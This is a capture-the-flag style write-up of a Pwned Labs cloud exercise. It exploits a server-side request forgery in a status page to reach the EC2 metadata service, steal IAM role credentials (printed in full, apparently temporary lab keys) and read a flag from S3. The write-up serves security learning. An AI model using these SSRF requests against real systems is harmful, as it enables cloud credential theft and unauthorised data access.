SSRF Attack

https://pwnedlabs.io/labs/ssrf-to-pwned

Scenario

Rumors are swirling on hacker forums about a potential breach at Huge Logistics. Your team has been monitoring these conversations closely, and Huge Logistics has asked you to assess the security of their website. Beyond the surface-level assessment, you're also to investigate links to their cloud infrastructure, mapping out any potential risk exposure. The question isn't just if they've been compromised, but how deep the rabbit hole goes.

52.6.119.121 : hugelogistics.pwn

We edit our /etc/hosts file to map the above ip to the hugelogistic.pwn domain.

sudo nano /etc/hosts

Navigate to http://hugelogistics.pwn

We can find more information about the organization that owns the IP address

whois 52.6.119.121

We see that the owner is Amazon, but specifically the Amazon EC2 service.

If we inspect the website, we find that the img tags, and notice that the images are stored in an S3 bucket at https://huge-logistics-storage.s3.amazonaws.com/

<img src="https://huge-logistics-storage.s3.amazonaws.com/web/images/about.jpg" alt="" class="img-fluid">

This reveals two folders, web and backup.

Looking back at the website, we find a new page.

Inspecting the button with developer tools, we see a form called "name" thats submitted when we click the button, with a default value of "hugelogistics.pwn"

Clicking the button we see this service status page.

The web app may have made a request to the back-end server to fetch data. This indicates it may be vulnerable to SSRF, Server-Side Request Forgery.

We assume the website is hosted on an EC2 instance, thus we can attempt an HTTP GET request to the Instance Metadata Service (IMDS) with the private IP 169.254.169.254.

We replace hugelogisticsstatus.pwn with 169.254.169.254/latest/meta-data and navigate to

http://hugelogistics.pwn/status/status.php?name=169.254.169.254/latest/meta-data

This command reveals an IAM role MetapwnedS3Access.

http://hugelogistics.pwn/status/status.php?name=169.254.169.254/latest/meta-data/iam/info

We access the IAM role's credentials.

http://hugelogistics.pwn/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access

aws configure

Access Key: ASIARQVIRZ4UKPLCJVVZ
Secret Access Key: MfQf6dRXY9q1E2oDX74sqv7ULs3rW9uIu7s4VXE1

aws configure set aws_session_token "<token value>"

Token:

IQoJb3JpZ2luX2VjEA4aCXVzLWVhc3QtMSJGMEQCIGLKaluB2S92Ar+YUOcyXI8vTgOY+n/AXgYUezfJyBSfAiBc6fVCXR0GBxEiRPPoxkTL80+Tkz4ChUmBx9G2vaCSNyrEBQim//////////8BEAAaDDEwNDUwNjQ0NTYwOCIM7eSp4B/C8Du219mSKpgFUqmhsZ5AiJi3VSVfNIUnitYObN4OUieI7GKuY4xRJqRJWnM7R/UmXgsFSp2K689l+u3z9uhFM6/EEGmccpXvsp4E2XwHPyHGY2KgFByji2Ih8b5oYH8bX4IqidPHOjonOiuvmK+sPkBzV+Cp5Wh3bkmp7oRtHPvHl73TrqM4Q/ZXEkZW1LXyAEsJGvQuotSP2plH7JOzjCgNZf+8ZzySUPeVNtlJjxlqe/nukY/sR375PT2KkjEmru69TN2nzmB9IzGO47UrAAycqwWV7xcSpDU8XQlcwNxoXO+9vnP7jZYKxAym7gbZxFd6EYbf/L1o7xohcG2WzIuZIuPyVtbsmY/XMhQOsCRGqZZecFAxkiKSjlI31cV88AgZoPCU2mzY0lfSpf80MLyR1gk+6wB/copoqI2u2LWGgeyt1UVcqcYS7vLVpaoUik06Caa/4F3vHXhxje8x2eaowdk6bRG59m/XEYkWx/9i1BMiaLrDNRH1Ik6p/um+oaqwxNbZ7TOggpN25bauSxaDBkjHgQ2ORwqm6bDhjoEsKI/YlkadlA7WthssiC1s6DJ0QLW83IvOJ/YFKBkXHYbdgicjD+RKQcAm1u/e3fYR0isb8SeJH6M6Cp9aZ5WFUN37wKj+X4Z05/lkq3JGxmwwN3/paJI/dnj3zs8h6xLViA5V7OOsugB7b+cKqe0pwn4nAEmFvWCD9pZ73rKyItWVpxAtkeN2GVhY2iashzuz8kQmvvIP/VkMoERC6qQQYVuIdjYEI5KN/iqUBSYZSmnG5wCHdhil8z6K/mZapcAUBfZ9WesgXC92dx/XgWaiIfNvxrqO3Kf/a3oW6t+mwZiQgTzc6yuDE8jGVkDV3OUwudJI/LLXhUfoAPCgIHiv2zDj4/y5BjqyAffVg3FjFSCYNM/HqUgzgIas6TOLXp4GEQOpuqlQWyBwPjF41Y8qLJX/a56cnfzSs6RsqCAXvROJM7aV+40wj47B2WmGM2b9HG3b3vN68aNwqTG7cmOh09jeAJvilB8i0Yr+QUHIheg387DUpbc9+vn6JEhOuyHtBzAogJ/tc0oKfiiVTbJP+j81u0wSz8gkiMMoSp0MD7hf9WWNMfenZBzBztmPNGC9Yd6LIBTEpNyWwGo=

Khangs-MBP:~ khangtran$ aws sts get-caller-identity
{
    "UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
    "Account": "104506445608",
    "Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}

With this new role we can access the bucket and retrieve the flag!

aws s3 cp s3://huge-logistics-storage/backup/flag.txt .

This attack was easily performed because the EC2 instance did not use IMDSv2, which allowed us to access the credentials stored in the metadata of the instance.